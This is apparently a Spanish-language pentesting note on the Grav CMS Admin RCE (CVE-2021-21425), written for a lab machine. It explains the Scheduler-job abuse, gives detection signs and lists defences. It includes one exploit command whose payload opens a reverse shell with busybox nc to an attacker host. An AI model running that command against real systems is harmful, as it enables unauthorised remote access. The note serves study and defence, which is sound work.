Grav CMS Admin RCE (CVE-2021-21425)
CVE-2021-21425 es una escritura/actualización arbitraria de YAML en el plugin Admin de Grav CMS (versiones hasta 1.10.7) que deriva en ejecución de comandos. Grav es un CMS flat-file escrito en PHP: no usa base de datos, guarda el contenido y la configuración en ficheros YAML. El panel de administración expone una tarea (task:getNewsFeed / la API de backups y scheduler) que permite inyectar configuración del lado del servidor sin las comprobaciones adecuadas.
El abuso encadena dos piezas: primero se escribe una entrada en la configuración del Scheduler (un job cuyo comando controlamos) y luego se dispara su ejecución. El resultado es RCE como el usuario del servidor web (www-data). Existen exploits públicos que automatizan todo el flujo:
python3 exploit.py -c 'busybox nc <lhost> <lport> -e bash' -t http://<ip>/grav-adminEl exploit crea el fichero/tarea ("Creating File", "Scheduled task created"), espera al disparo y devuelve una reverse shell. Como Grav programa la tarea, suele haber un minuto de espera entre el envío y la conexión entrante.
Cómo se llega. Basta con identificar la versión: el pie o el código fuente delatan "Grav", y searchsploit gravcms lista la entrada para 1.10.7. Algunos exploits requieren credenciales del panel (de ahí las variantes "authenticated"), pero la vía de arbitrary YAML write puede alcanzarse sin autenticar según la configuración. Es, en el fondo, una inyección de comandos a través de un campo de configuración que el servidor ejecuta, en la misma línea que otros RCE web.
Cómo detectarlo. El abuso deja dos rastros. En la aplicación, un POST a la tarea del panel Admin que escribe en la configuración del Scheduler (una entrada nueva de job en el YAML de configuración/usuario, detectable con un FIM sobre los ficheros .yaml de Grav). En el host, el proceso del planificador de Grav (el php del cron) lanzando nc/bash/busybox como hijo, con el característico retardo de ~1 minuto entre la petición y la conexión saliente. Esa espera entre el POST y la reverse shell es una firma temporal poco habitual.
Defensa. Actualizar Grav y el plugin Admin por encima de 1.10.7, restringir el acceso al panel de administración por IP o VPN y aplicar el principio de mínimo privilegio a la cuenta del servidor web.
Máquinas donde se aplica
- AstronautProving Grounds Practice